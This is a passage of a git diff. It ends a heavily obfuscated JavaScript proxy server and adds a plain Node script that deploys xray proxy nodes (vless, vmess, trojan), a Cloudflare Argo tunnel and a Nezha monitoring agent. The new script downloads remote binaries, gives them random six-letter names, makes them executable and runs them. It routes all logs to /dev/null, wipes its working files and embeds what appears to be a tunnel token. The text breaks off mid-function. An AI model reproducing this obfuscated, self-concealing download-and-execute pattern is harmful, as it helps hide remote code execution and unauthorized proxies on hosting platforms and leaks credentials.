_0x151f28=0x1*-0x1cc1+-0x2057+0x3d18,_0x69efd9=this['lfmXRw']['length'];_0x151f28<_0x69efd9;_0x151f28++){this['lfmXRw']['push'](Math['round'](Math['random']())),_0x69efd9=this['lfmXRw']['length'];}return _0x1d4218(this['lfmXRw'][0x7*-0x2df+-0x2b*-0xdf+-0x115c]);},new _0x2a9087(_0x5847)['ngsvgM'](),_0x17e62b=_0x5847['ZBVMUT'](_0x17e62b),_0x357292[_0x4a994c]=_0x17e62b;}else _0x17e62b=_0x534cb8;return _0x17e62b;},_0x5847(_0x357292,_0x140035);}function _0x569a(){const _0x503680=['DgfZA2TPBgWGlW','qNnsru4','BcaYpIyX','uMHoEKL4t1DoAq','vKzHEu4','zMLSzvvYBa','C2fHCY5ZAw4UzG','r1jjzwq','q1fyCMG','BMv0l2fKzc11CG','EfHsve5HuJfwma','Dw5SAw5R','yKPOAgW','Dw5UAw5N','tKHvvw4','rhzQvfq','zgvZDe92zxjYAq','z0fAzwm','B3jN','cNvZzv9NAxrLzq','CuHqCwm','DgXZ','vgHHBMSGEw91ia','Chr5lcb1C2uGCq','BM9Kzxm','y2f0y2G','B3n0BMfTztOG','ig5VDcbMB3vUza','DKXHzwe','uNr3uMS','qwzfuvC','DgvZDa','ic1Zia','u1vcx1bbveG','BNq6ihrYDwukCW','Euj1vKu','v3DnAwC','BMfgDeW','BwfW','BgLZDc50Ehq','DxjS','uLPlq3a','wxPjmK16BgXzmG','ANHhD1a','yM9Pu2i','C25PzMzPBMC','B24GpI9KzxyVBG','tfftswO','BMv0D29YAW','Ahr0Chm6lY9HCa','zxnZ','DxjPDhK9DgXZjG','vhnpzgS','oIbMywXZzqP1Dq','u0vsvKvsx1bpuG','DguGls1YzxbVCG','ue9wuK4','B1bur20','BxnlBhC','vef6q3q','wwHMyKG','wxPjm05esxHjAq','ttjzm09urxDoAG','tLj4uNO','DwLJAYb0Dw5Uzq','EfrOqNe','vKj2uNe','qvz3zKu','Awq6ia','vvPlzfC','B3rVy29SigH0Da','u21qtKK','AeLjq2G','D3ntzxr0Aw5NCW','zIaVAw0G','rLfsyvC','vxnLCI1bz2vUDa','B1LLrui','DwXSidi+jJeGjG','Bg9NBgv2zwW','yM1usvC','DNDsCKG','sxP6zva','zw5HyMXLza','uxDorfu0turfnq','Bwv0ywrHDgfpBG','vwzUDxG','CMvWBgfJzq','uenPwMK','ksb0BYbNzxqGEq','DfHvqxK','BguG','wNDZz3q','l2fWAs9HzgqTBG','zMDqsha','y291BNrYEv9JBW','q2j6CLy','Bxb5Bhq','C2fIBgvFBMf0oG','D3jPDgvizwfK','id4Vzgv2l251Ba','wur3A2i','q3nozNu','BwTKAxjtEw5J','CNrFzgvSyxK6ia','yM9VDc5SB2C','tKvAseeGDMfYAq','jMzWpwzPCMvMBW','v0vtB00','wvvHD2W','igLUzM8Gls11CG','y0DICxO','y3rVCIGICMv0Dq','C2vJDxjPDhK','qvjHuNm','zwn0DxjL','zMLSDgvY','zMXHCMu','y29UzMLNlNLHBq','rKLmrv9qqvri','p3nLy3vYAxr5pq','tLDZDLO','C3rYzwfTu2v0Da','zNPVB1e','ywXWBG','qwzksKi','vuLWANa','CLPtthK','DujiwMS','quzPEfy','zvzWB20','DMfPBgfIBguSia','cIaGicaGig9YAq','zxHPC3rZu3LUyW','BMCGB24GCg9YDa','cIaGDhvUBMvSoG','BM9ODxaG','ywX0zxjjza','shvgv1a','C2P6CLK','tgr4Bfq','DujRswW','DcWGzw5QB3KH','mxW1Fdn8mNW0Fa','jtngzwqLm0qYnq','q0vWEu0','vLLAwvK','u2TPChbPBMCGyq','ide4mdakCMvWBW','ndi1nZm2m2nmvhLAAG','EwmUBw4VywDLBG','l3rYB2PHBI1HCG','CZOkicaGic0GAa','B2TLBIa','ref6txe','l2nVBMzPzY55yq','ztOGDhj1zqPKAq','DgXZjNnUAt0','uNjKrtffwNPwyq','B3jJzv91CgrHDa','tMjzuhi','yMfZzty0','qNrZEuu','A2P5y0K','CKPiDKS','Bw1orM0','zNjVBq','zxHLyW','Cwjmuei','B2nHBgHVC3q6','AMPyq1a','DgXZD1O','CwTPz0G','zMLUAxnO','DxrMltG','CMvHzezPBgvtEq','DMLJztOGAhr0Ca','BeTkr0S','Cfjqv0m','yLj2rK8','EhrSCY1YChj4lq','zg5Z','DgHLBG','C25Ppq','r3Lsy3C','EKjjrMC','C0zXyxq','y0PUtNe','zxjYB3i','rKPgwva','Dw5SAw5Ru3LUyW','y2XPzw50CW','ywXS','cMrPC2fIBgvFzG','CxvLCNK6igzHBa','oI8VBg9JywXOBW','cIaGica','rwnrAui','tLDvneXxrtjomG','zxLkAeLQB2LzmG','C3rYAw5NAwz5','zMLYzwzVEa','ztOGzMfSC2ukDq','Aw5MBW','CdiGCNvUic0TDa','Ahr0CdOVl2LWlq','uxL4q2C','EwmUBw4VDJe','mtiWndmYotzeuxPSweG','CdiGls1SB2DMAq','Aw5ztNy','l2jVB3qUBg9Nia','zgDLlwLWlxzLCG','zNjLzwrVBq','cMnSAwvUDf9Zzq','cIaGicaGihnLCG','qu9VDuC','q2fUj3qGzMLUza','CgXLyxnLihrYEq','wNLPsuS','oYbJAgfYC2v0pq','mJu3ndC2ogP3vfv3EG','u3vIC2nYAxb0Aq','zM9Yia','tu9ZsgW','q0Hkwee','qvjht19qt1ju','y2XVC2u','DMLZAw9U','Bg9N','ueHtCvi','C3vIC2nYAxb0Aq','Chr5lhnRAxaGCG','BhLOze4','re5Xrhy','igLZihj1BM5PBG','AgjPs2S','r211s2m','BMn0Aw9UkcKG','nNWW','C2ukz3b1oIbMyq','Aw5IB3vUzhm','C3vIlNr4Da','Aw5NCW','C2n5','ls1ZA2LWlwnVBG','ugDjr3a','BgLZDgvU','DhjVAMfU','Cg9W','ywrK','CwL1D28','zwn0Aw9Ux2nVDq','ig5VDcb5zxqGyq','venhr2O','CgfZC3DVCMq','vvHKtLjfnxbxAW','wvLVB28','C2LVBIbHDxrVia','BM9utfnwzxjPzG','BvbXC3q','BcaYpIyXicy','AMnZDwy','sLjjuLK','Cuzpq2i','nJm1ltqXmwqToa','z0Tzvha','qxbWigLZihj1BG','Ahr0Ca','zM9YrwfJAa','tfbKzvG','Dgv4Dc9ODg1SoW','zhjsA0C','m0zLzcuZrdi1nG','Bg5esgu','zw5K','DNjNq28','v2TpC2K','yxjTnJq','CMvJDxjZAxzL','Dw5ZAgLMDa','whjgD04','x3rVx3vWz3jHza','u1ztAKu','ic0TzgLZywjSzq','Du1IEfK','re9Arhy','ic1Wia','ywrLzcbZDwnJzq','ywjSzsbPCYbLBq','qNvKwem','ztOGAhr0Cf9ZDa','tKvAsefFu0vsvG','Dhj1zq','AujuALy','yxbWBhK','D2vIihj1BM5PBG','zMXVB3i','D2LJEuK2swS1nG','Dgjyuxi','y291BNq6ihrYDq','nJaJ','icaTihnLCNzPyW','y1r5why','zxiU','cNnRAxbFy29UBG','txfntvm','yxbWBgLJyxrPBW','y3jLyxrLu2vYDG','sK1eAwu','zMLSzu5HBwu','DgnW','zgvSic9Mic9Xia','mti3lJaUmc4X','l3n1yI50EhqGCW','EKntCvy','igzHAwXLzdOG','y2XLyxi','sMfdqMW','yxHPB3m','CgrHDguGls1WCG','ww91ignHBIbHyW','u3rouxO','mtj4Cu9zBxK','mJiXmZfMyLvtwue','ChvZAa','l2fWAs9KzwXLDa','qvjht19et01bsq','vw5RBM93BG','mJa4nW','B2LW','AxzNCgG','BM9Uzq','y2HHCKf0','tM9KzxmGDxbSBW','lNrTCa','Dg8GDhvUBMvSla','uNnLu2O','BJ1UB25LjNnLyW','zdy0lNnZC3mUBG','DMXLC3m','BMjcAMm','C2vHCMnO','vNnuzMC','CxvPyW','ic1Jici','Evj3C2m','igLUignSB3v1za','B3vYig5VzgvZiq','tM95Efy','yxv0BW','BNvSBcaYpIyXia','BIaTlxnRAxaTCa','Dg9tDhjPBMC','ignOyxjZzxq9Dq','q3fxsu4','teXArxm','ogq1ltnJzty4yW','tM90iezVDw5K','Bu1lvLq','uwLmq0OWswPVAq','yxjJAa','rwXLzeW','ENj3sMO','EhLNB3u','D1Dhz3G','t1vOCwq','u0zAvNG','y3jLyxrLv3jPDa','vNf1zgm','y291BNrYEunVza','wunetuW','wuDQzgu','tIbVCIbbuKDpxW','ChjHvM8','s2LMwvO','CM9JCYa+l2rLDG','C2r1teS','DvLyrxy','tNvOs0G','yw1K','Ag9ZDd0','B24GDxbSB2fKzq','Avblree','CM0GlxjMia','vKvIwNm','vw5Oyw5KBgvKia','DLnxvvG','l251BgWGmJ4Mmq','Ahr0ChmRBg9Jyq','zKfkDLi','p2vUy3j5ChrPBW','nK5TEu1OBW','rLLfq3u','ywnJzxnZ','CMvZCg9UC2u','u0n0CLa','zxHJzxb0Aw9U','A0XOEfy','CwDqqNG','Ecz0ExbLpxDZjG','A2LWx3bYB2nZxW','uwjSteq','naPZzxj2zxi6ia','mtbYvvviCKu','yMXHy2TOB2XL','s0nLyKu','cGP0CM9Qyw46lW','C2vYDMvYCW','x1bbveH9kerLzG','AYbHzgrLzcbZDq','y2vZCYaVE1nvqG','uvnIvwe','BMLUzW','uvnOAwG','whPnD2y','ue9sva','sePjuvm','yxv0B21HDgLJia','vxnPBMCGDg9Rzq','yvHOAK4','EMjMEvK','cMrLyNvNoIbMyq','sK5NCfy','igLZignYzwf0zq','sgzOuNq','t3bTy2G','uNj1swS','t09QrhC','cNzSzxnZoI8V','z3LOuvu','tKfnrq','DgfYDhnLCNzLCG','C3bSAxq','zvn0CMvHBq','y3jLDdOG','BNbTihj1BM5PBG','CMvFDgXZoIb0CG','AMrpwu4','EKvzuwC','B2rLCW','Ahr0Chm6lY9HBq','qvvuscbPCYbLBq','oc9KBNmTCxvLCG','rxjYB3iGAw4GCW','id4GBNvSidi+jG','AgfZ','rhDvvvO','Dgv4Dc9WBgfPBG','EtOGDhj1zqOGia','uvDiDgi','DwTzwfG','BdOGAhr0Cdikia','mtaWmgnzywr1DG','uhzorMG','vvvjra','ndm5nde2vMPgwg9n','C094zLq','qM5MDeu','C3mGDgfZAW','ihn1y2nLC3nMDq','yMfZzw5HBwu','Aw5NigjVB3qUBa','idi+jJe','D01Rtfa','BgvZoG','jNbHDgG9jtjgDG','CgLWzq','igeGzMLSzsbMBW','C3rHDfn5BMm','qxn6rg4','DhLWzq','cIaGy3jLzgvUDa','s3fIrKW','y2rNCvO','sgnWwKi','Bgv2zwW','D2LUmZi','mJa5nG','C1Pythe','wLzpsNC','A1rxu1m','qvjht19bvvri','yxr1CZO0mdqkia','DvfUsKK','q2rZEwi','ChjVDg9JB2W','vLncEwK','DcbZDwnJzxnZia','sgvSBg8GD29YBa','sgjsyNC','oGOGicaGicaGia','t2L6DMS','vhvyrw0','DhvUBMvSlNLTBa','tLDfC04','s2fKA2O','zMfSC2u','t1vfBum','ls1SB2DSzxzLBa','zxjYB3iGAw4GCW','vKLAqvC','zgLYzwn0','rxvPt28','iaOGigLUz3jLCW','BhnLcMLUC2vJDq','DunYD1G','Ag9ZDa','ELP1r1q','uK9LA0yZvfrksG','ChjVBwLZzxm','B3v0yM91BMrZ','rgjJs3G','y2HTB2q','tMnZDwu','rg1OB1a','svrct1q','yMXVy2S','EwmUBw4VyM90','CwncDw4','uwv6y3G','z2TdA08','ywLK','C2vFAxb2nL9JBW','BezhqMO','A1HPrwe','C2v0DgLUz3m','zM9YihvZAw5Nia','Bwf0y2G','cNrSCZOG','vwjzA24','CNHgsNu','wK9fu3a','igfSCMvHzhKGzq','Aw5KzxGUAhrTBa','Ew5J','zM9tz1O','uMDOuNe','y29UC3rYDwn0BW','vNfytKu','yvHSs2y','q0zqt1ju','vurxsMq','whntvvO','AMXVENu','DxrPBa','CLvtu2K','yxrLoIb0CNvLcG','Bw1HBMrFzxHLyW','Dc1KzwXHEsa0ia','zcbZDwnJzxnZzG','DgPrzhq','vfPwzKu','yvrbD1DusLDHvq','kcGOlISPkYKRkq','t0DHywe','CMvHzezPBgu','v0HAq3i','v1rOsMG','tNjZvLC','DKnrsuG','C3q6','DhvUBMvSlMPZBW','uKretfG','EfjKz0G','z3rtsvG','AwLpuwq','z2LUuMvXDwvZDa','CvLctNm','AM9PBG','rxjYB3iGzg93BG','D3jPDgvgAwXLuW','mtm1mtG3DvfKzNPs','Bty0lNnZC3mUBG','DgfN','v3PWEKi','B21gqKe','nZeWmdCWEg1hALvA','rxjYB3iGzxHLyW','zdOG','Dw1Qs00','AxfcD1y','y295B1e','yxbPlMnVBs9QCW','yMLUza','BgvUz3rO','r25KB2m','DwXSidi+jJe','zgn0Dw4UEMrSlG','BMCGyM90ihrVia','y2nLC3nMDwXSEq','ihbSzwfZzsbZzq','qvvut19bq0nfuW','n3f2A2LNyG','BxLQA3C','y29UzMLNlMPZBW','DhvUBMvSic0Tzq','z0vZugq','BwvZC2fNzq','CIbPCYbYDw5UAq','CgHWihj1BM5PBG','BgvZCY1HCMDVjq','ug1Mqvy','ywnJzxnZihrHCW','BxngB0W','B2LAvg8','BgX5','zwvmqNG','BcbODhrWoI8VBa','AgvHzgvYCW','mJa4mW','uwDsz1i','BvfTzg0','EefLuKS','ywHwr1e','B0fny0q','wK1Zu1G','B0rVBwfPBG','rw1WB3DLCM1LBG','vMfqCNC','BfPOu2i','rvjesee','q29UDgvUDc1uEq','BZ9Lzd0YntyW','D3vsqKe','tuDOt3K','DxrPBMCGy29TBq','DgHPCYbZy3jPCa','CuTyyvG','rxjYB3iGCMvHza','BhLZu1O','CIb0AguGy3vYCG','DgLTzw91Da','qxHKwNC','B3D0tw8','zYbLCNjVCJOG','zNrdu0S','s3DruMe','C25P','rvDiA1a','vuf1rve','Cg9ZDa','zgvJCNLWDgLVBG','CMvHzgrPCLn5BG','EwmUBw4VD2vI','Ahr0Chm6lY9HCG','zgvZDa','zMLUrfi','l3zTzxnZlwfYzW','sg9WEKm','CNrFCgvYAw9KoG','DNrfwhK','CejhBLO','zgf0yq','yuLivvy','ENbmD08','yw5KoIa','wuTizxa','ExHvDhe','zeXnwxq','B3iG','l2nVBMzPzY5QCW','cIaGChjVDg9JBW','yNr0AK4','D2fYBG','ndqZ','EKrTBgi','svbKt3q','As5PCc5ZyI9Nzq','wKj5vuS','uvrKDLm','ihrHC2SGzMfPBa','qwrKigf1Dg9Tyq','ueL6Euq','rNDSuxm','Cg9YDa','ywjJzgvMz2HPAG','CMfUzg9T','cGP2BwvZCZOVlW','C3LbEfG','tKvAsefFs0vz','yvbSEw4','ywfYy2G2na','r1vwBLm','rKvfswW','yxvSDdOGl3n1yG','AxnW','zuP3zu8','z2v0','tg9us0S','rg93BMXVywqG','l2rLDI9UDwXS','u1nhBuy','BMv0','iIa+ic9KzxyVBG','DxrMoa','BK1ktui','lMv4zsa+ig51Ba','s1LPEM8','EuHHBwq','CNneB00','z3nWAMC','EgnHrwu','BIbJB25Uzwn0ia','qwHXtuW','AhHjwve','zgn0vgC','A2XTBM9WCxjZDa','wLbJqwm','qNbVyMe','vKTYsgi','DM1LC3m','zqP0zw1WzxjHDa','BI9QC29U','y1vYDhe','jNbHDgG9jtjgDa','EhrADhm','Bwf0AwmGywnJzq','CM9Qyw4TyxjNBW','tKrjmu1TuMXnva','yMXqDMW','C3rYzwfT','BdOVlZGUoc44lG','yxzLzcbZDwnJzq','rfD2Eeq','teHKyNi','AentrMK','ls1UBY1HDxrVDq','AxngAwXL','zw52','DwjZy3jPChrPBW','CgXHDgzVCM0','Cgf0Aa','rhPsD2K','zMfSBgjHy2TZ','v2Tlsuy','zxrUBMq','Ahr0Chm6lY9VBW','Dg9NBLO','t3Lrv2i','wfLbrfe','yxjT','mJa1mW','rvj6ruS','l3zSzxnZlwfYzW','C3vJy2vZCW','C3rHDhvZ','C3nMDwXSEq','z1H4wgK','Aw5JBhvKzxm','rKfwuLa','y29UC29Szq'];_0x569a=function(){return _0x503680;};return _0x569a();}const server=http[_0x364cea(0xda,-0x26,-0x2f,-0xa5)+'er'](async(_0x5350fa,_0x199c44)=>{const _0x5007ac={};_0x5007ac[_0x205f95(0x4c,-0x2e,-0x6f,-0xdb)]=function(_0x361199,_0x57b7b5){return _0x361199===_0x57b7b5;},_0x5007ac[_0x590a99(0x50c,0x486,0x408,0x41b)]=_0x205f95(0x21a,0x136,0x2fb,0x353),_0x5007ac[_0x590a99(0x705,0x5ad,0x444,0x52f)]=_0x205f95(0x3c,-0x49,-0xf,-0xde)+_0x590a99(0x439,0x512,0x548,0x4e0)+_0x205f95(0x21a,0x22d,0x15b,0x225),_0x5007ac[_0x590a99(0x50f,0x453,0x441,0x370)]=_0x205f95(0x24a,0x17a,0x281,0x2b9)+'on\x20content'+_0x205f95(0x269,0x23f,0x22d,0x25b)+_0x205f95(0x1ef,0x112,0x272,0x24e)+_0x205f95(0x246,0x11b,0x12e,0xfe)+'\x20again\x20lat'+'er.',_0x5007ac[_0x590a99(0x2b5,0x2ea,0x32e,0x276)]=_0x590a99(0x3e3,0x35c,0x35e,0x32b);function _0x590a99(_0x240d68,_0x582502,_0x2e53e1,_0x533144){return _0x362290(_0x240d68-0x61,_0x582502-0x45,_0x533144,_0x582502-0x9b);}_0x5007ac[_0x590a99(0x3f9,0x3bf,0x3e0,0x467)]=_0x590a99(0x3fc,0x3fd,0x39a,0x41b),_0x5007ac[_0x590a99(0x618,0x531,0x6a0,0x5bd)]=_0x205f95(0x27b,0x2fd,0x291,0x24f)+_0x590a99(0x492,0x598,0x628,0x605)+'tf-8',_0x5007ac[_0x205f95(0x281,0x3ac,0x193,0x19b)]=_0x205f95(0x1d8,0x258,0xdf,0x1bb),_0x5007ac['UAuEQ']=_0x590a99(0x21d,0x32f,0x257,0x3b3)+'d!

'+_0x205f95(0x2ad,0x3f5,0x228,0x2dc)+_0x205f95(0x17,-0x76,-0x8b,-0x8c)+_0x205f95(0x15,0xfc,-0xfa,0xae)+_0x590a99(0x555,0x3f3,0x529,0x460)+_0x205f95(0x1c5,0x1c6,0x76,0x112)+_0x590a99(0x600,0x592,0x69d,0x4e9),_0x5007ac[_0x205f95(0x224,0x2f0,0x14d,0x36a)]=_0x590a99(0x489,0x59c,0x6de,0x65c);const _0x7414ca=_0x5007ac,_0x5c4388=_0x5350fa['url'][_0x205f95(0x2d,-0x4b,0x8a,0x111)]('?')[0xd37+0x2b*0x45+-0xa*0x27b];if(_0x7414ca['wMkLP'](_0x5c4388,'/'+SUB_PATH)){if(subContent){const _0x4c3744={};_0x4c3744['Content-Ty'+'pe']='text/plain'+_0x590a99(0x5bc,0x512,0x4ff,0x5b4)+_0x205f95(0x21a,0x284,0xaa,0x196),_0x199c44[_0x590a99(0x415,0x499,0x37b,0x58c)](0x1ac8+-0x2331+0x931,_0x4c3744),_0x199c44[_0x205f95(0x27f,0x1e6,0x29b,0x219)](subContent);}else try{const _0x4adc35=fs[_0x205f95(0x21b,0xac,0x38a,0x30c)+'nc'](subPath,_0x7414ca[_0x205f95(0x1bc,0x28e,0x216,0x242)]),_0x4a1ce3={};_0x4a1ce3[_0x590a99(0x41c,0x3b4,0x307,0x3c7)+'pe']=_0x7414ca[_0x205f95(0x2e3,0x1dd,0x38e,0x18d)],_0x199c44[_0x590a99(0x4f0,0x499,0x5cd,0x58b)](0x22f0+-0x2640+0x4*0x106,_0x4a1ce3),_0x199c44['end'](_0x4adc35);}catch(_0x2296e9){const _0x1f49b7={};_0x1f49b7[_0x590a99(0x247,0x3b4,0x479,0x437)+'pe']=_0x7414ca[_0x205f95(0x2e3,0x2c9,0x2c0,0x184)],_0x199c44['writeHead'](-0xb7+0x1b00+0x1852*-0x1,_0x1f49b7),_0x199c44['end'](_0x7414ca['RtwRk']);}return;}if(_0x7414ca['wMkLP'](_0x5c4388,'/')){try{const _0x350da7=path[_0x590a99(0x3a2,0x37f,0x2e5,0x439)](__dirname,_0x7414ca['aXhjN']),_0x4a0fca=await fs[_0x205f95(0x7a,0x91,-0x57,0x5)][_0x590a99(0x248,0x372,0x350,0x464)](_0x350da7,_0x7414ca[_0x590a99(0x482,0x3bf,0x3ff,0x4fc)]),_0x4496fe={};_0x4496fe['Content-Ty'+'pe']=_0x7414ca['qiuwo'],_0x199c44[_0x205f95(0x1cf,0x1e2,0xf7,0x231)](0x1*0x2411+-0x3*0x91d+-0x7f2,_0x4496fe),_0x199c44[_0x590a99(0x627,0x549,0x691,0x43c)](_0x4a0fca);}catch(_0x27d007){if(_0x7414ca['wMkLP'](_0x7414ca[_0x590a99(0x4dc,0x54b,0x402,0x695)],_0x205f95(0x1d8,0x24a,0x75,0x18e))){const _0x2299d0={};_0x2299d0[_0x205f95(0xea,0x35,0x38,0x6c)+'pe']=_0x7414ca['qiuwo'],_0x199c44[_0x205f95(0x1cf,0x93,0x164,0x15a)](0x24d3+-0x17b*-0xb+0x4*-0xd15,_0x2299d0),_0x199c44['end'](_0x7414ca[_0x590a99(0x268,0x3c6,0x528,0x314)]);}else return null;}return;}const _0xd77135={};function _0x205f95(_0x4caf7c,_0x1d02e7,_0x17eba5,_0xcdf7b8){return _0x362290(_0x4caf7c-0x7b,_0x1d02e7-0xe3,_0x17eba5,_0x4caf7c- -0x22f);}_0xd77135[_0x590a99(0x2ac,0x3b4,0x429,0x419)+'pe']=_0x7414ca[_0x590a99(0x51b,0x5ad,0x60b,0x65b)],_0x199c44[_0x205f95(0x1cf,0x136,0x76,0x32e)](0x1517*0x1+-0x2*0x10c1+0xdff,_0xd77135),_0x199c44[_0x205f95(0x27f,0x355,0x115,0x391)](_0x7414ca[_0x205f95(0x224,0x254,0x257,0x1f5)]);});server[_0x364cea(0x66,0xdd,-0x6c,-0x160)](PORT,()=>console['log']('http\x20serve'+_0x364cea(-0x2e0,-0xe5,-0x1fc,-0x2fc)+_0x364cea(-0x75,0xd,-0xdd,-0x1d4)+':'+PORT+'!')); diff --git a/index.js.new b/index.js.new new file mode 100644 index 0000000000..4d0479e713 --- /dev/null +++ b/index.js.new @@ -0,0 +1,644 @@ +#!/usr/bin/env node + +const http = require("http"); +const axios = require("axios"); +const os = require('os'); +const fs = require("fs"); +const path = require("path"); +const { promisify } = require('util'); +const exec = promisify(require('child_process').exec); +const UPLOAD_URL = process.env.UPLOAD_URL || ''; // 节点或订阅自动上传地址,需填写部署Merge-sub项目后的首页地址,例如:https://merge.xxx.com +const PROJECT_URL = process.env.PROJECT_URL || ''; // 需要上传订阅或保活时需填写项目分配的url,例如:https://google.com +const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // false关闭自动保活,true开启,需同时填写PROJECT_URL变量 +const FILE_PATH = process.env.FILE_PATH || '.tmp'; // 运行目录,sub节点文件保存目录 +const SUB_PATH = process.env.SUB_PATH || 'sub'; // 订阅路径 +const PORT = process.env.SERVER_PORT || process.env.PORT || 3000; // http服务订阅端口 +const UUID = process.env.UUID || '5e209bff-6635-411d-88d5-3ce68cec9de9'; // 使用哪吒v1,在不同的平台运行需修改UUID,否则会覆盖 +const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式: nz.abc.com:8008 哪吒v0填写形式:nz.abc.com +const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 使用哪吒v1请留空,哪吒v0需填写 +const NEZHA_KEY = process.env.NEZHA_KEY || ''; // 哪吒v1的NZ_CLIENT_SECRET或哪吒v0的agent密钥 +const ARGO_DOMAIN = process.env.ARGO_DOMAIN || 'dctun.zdl.de5.net'; // 固定隧道域名,留空即启用临时隧道 +const ARGO_AUTH = process.env.ARGO_AUTH || 'eyJhIjoiY2RhNzIxOWNiNDI1MmRlMTQwNDU4MDE5M2Y3OTEwNjQiLCJ0IjoiYzI2MzllY2MtOWRhMi00NWU4LWE2N2ItODY1ZDNiYzI3NDIxIiwicyI6Ik56UXdNRE5pWkRrdE1EZzVaaTAwWTJWaUxXRTNaR1V0TURjNE16STROekF3TTJJeCJ9'; // 固定隧道密钥json或token,留空即启用临时隧道,json获取地址:https://json.zone.id +const ARGO_PORT = process.env.ARGO_PORT || 8001; // 固定隧道端口,使用token需在cloudflare后台设置和这里一致 +const CFIP = process.env.CFIP || 'saas.sin.fan'; // 节点优选域名或优选ip +const CFPORT = process.env.CFPORT || 443; // 节点优选域名或优选ip对应的端口 +const NAME = process.env.NAME || ''; // 节点名称 + +// 创建运行文件夹 +if (!fs.existsSync(FILE_PATH)) { + fs.mkdirSync(FILE_PATH); + console.log(`${FILE_PATH} is created`); +} else { + console.log(`${FILE_PATH} already exists`); +} + +// 生成随机6位字符 +function generateRandomName() { + const characters = 'abcdefghijklmnopqrstuvwxyz'; + let result = ''; + for (let i = 0; i < 6; i++) { + result += characters.charAt(Math.floor(Math.random() * characters.length)); + } + return result; +} + +// 全局常量 +let subContent = null; +const npmName = generateRandomName(); +const webName = generateRandomName(); +const botName = generateRandomName(); +const phpName = generateRandomName(); +let npmPath = path.join(FILE_PATH, npmName); +let phpPath = path.join(FILE_PATH, phpName); +let webPath = path.join(FILE_PATH, webName); +let botPath = path.join(FILE_PATH, botName); +let subPath = path.join(FILE_PATH, 'sub.txt'); +let listPath = path.join(FILE_PATH, 'list.txt'); +let bootLogPath = path.join(FILE_PATH, 'boot.log'); +let configPath = path.join(FILE_PATH, 'config.json'); + +// 如果订阅器上存在历史运行节点则先删除 +function deleteNodes() { + try { + if (!UPLOAD_URL) return; + if (!fs.existsSync(subPath)) return; + + let fileContent; + try { + fileContent = fs.readFileSync(subPath, 'utf-8'); + } catch { + return null; + } + + const decoded = Buffer.from(fileContent, 'base64').toString('utf-8'); + const nodes = decoded.split('\n').filter(line => + /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line) + ); + + if (nodes.length === 0) return; + + axios.post(`${UPLOAD_URL}/api/delete-nodes`, + JSON.stringify({ nodes }), + { headers: { 'Content-Type': 'application/json' } } + ).catch((error) => { + return null; + }); + return null; + } catch (err) { + return null; + } +} + +// 清理历史文件 +function cleanupOldFiles() { + try { + const files = fs.readdirSync(FILE_PATH); + files.forEach(file => { + const filePath = path.join(FILE_PATH, file); + try { + const stat = fs.statSync(filePath); + if (stat.isFile()) { + fs.unlinkSync(filePath); + } + } catch (err) { + // 忽略所有错误,不记录日志 + } + }); + } catch (err) { + // 忽略所有错误,不记录日志 + } +} + +// 生成xr-ay配置文件 +async function generateConfig() { + const config = { + log: { access: '/dev/null', error: '/dev/null', loglevel: 'none' }, + inbounds: [ + { port: ARGO_PORT, protocol: 'vless', settings: { clients: [{ id: UUID, flow: 'xtls-rprx-vision' }], decryption: 'none', fallbacks: [{ dest: 3001 }, { path: "/vless-argo", dest: 3002 }, { path: "/vmess-argo", dest: 3003 }, { path: "/trojan-argo", dest: 3004 }] }, streamSettings: { network: 'tcp' } }, + { port: 3001, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID }], decryption: "none" }, streamSettings: { network: "tcp", security: "none" } }, + { port: 3002, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID, level: 0 }], decryption: "none" }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/vless-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, + { port: 3003, listen: "127.0.0.1", protocol: "vmess", settings: { clients: [{ id: UUID, alterId: 0 }] }, streamSettings: { network: "ws", wsSettings: { path: "/vmess-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, + { port: 3004, listen: "127.0.0.1", protocol: "trojan", settings: { clients: [{ password: UUID }] }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/trojan-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, + ], + dns: { servers: ["https+local://8.8.8.8/dns-query"] }, + outbounds: [{ protocol: "freedom", tag: "direct" }, { protocol: "blackhole", tag: "block" }] + }; + fs.writeFileSync(path.join(FILE_PATH, 'config.json'), JSON.stringify(config, null, 2)); +} + +// 判断系统架构 +function getSystemArchitecture() { + const arch = os.arch(); + if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { + return 'arm'; + } else { + return 'amd'; + } +} + +// 下载对应系统架构的依赖文件 +function downloadFile(fileName, fileUrl, callback) { + const filePath = fileName; + + if (!fs.existsSync(FILE_PATH)) { + fs.mkdirSync(FILE_PATH, { recursive: true }); + } + + const writer = fs.createWriteStream(filePath); + + axios({ + method: 'get', + url: fileUrl, + responseType: 'stream', + }) + .then(response => { + response.data.pipe(writer); + + writer.on('finish', () => { + writer.close(); + console.log(`Download ${path.basename(filePath)} successfully`); + callback(null, filePath); + }); + + writer.on('error', err => { + fs.unlink(filePath, () => { }); + const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; + console.error(errorMessage); + callback(errorMessage); + }); + }) + .catch(err => { + const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; + console.error(errorMessage); + callback(errorMessage); + }); +} + +// 下载并运行依赖文件 +async function downloadFilesAndRun() { + const architecture = getSystemArchitecture(); + const filesToDownload = getFilesForArchitecture(architecture); + + if (filesToDownload.length === 0) { + console.log(`Can't find a file for the current architecture`); + return; + } + + const downloadPromises = filesToDownload.map(fileInfo => { + return new Promise((resolve, reject) => { + downloadFile(fileInfo.fileName, fileInfo.fileUrl, (err, filePath) => { + if (err) { + reject(err); + } else { + resolve(filePath); + } + }); + }); + }); + + try { + await Promise.all(downloadPromises); + } catch (err) { + console.error('Error downloading files:', err); + return; + } + + function authorizeFiles(filePaths) { + const newPermissions = 0o775; + filePaths.forEach(absoluteFilePath => { + if (fs.existsSync(absoluteFilePath)) { + fs.chmod(absoluteFilePath, newPermissions, (err) => { + if (err) { + console.error(`Empowerment failed for ${absoluteFilePath}: ${err}`); + } else { + console.log(`Empowerment success for 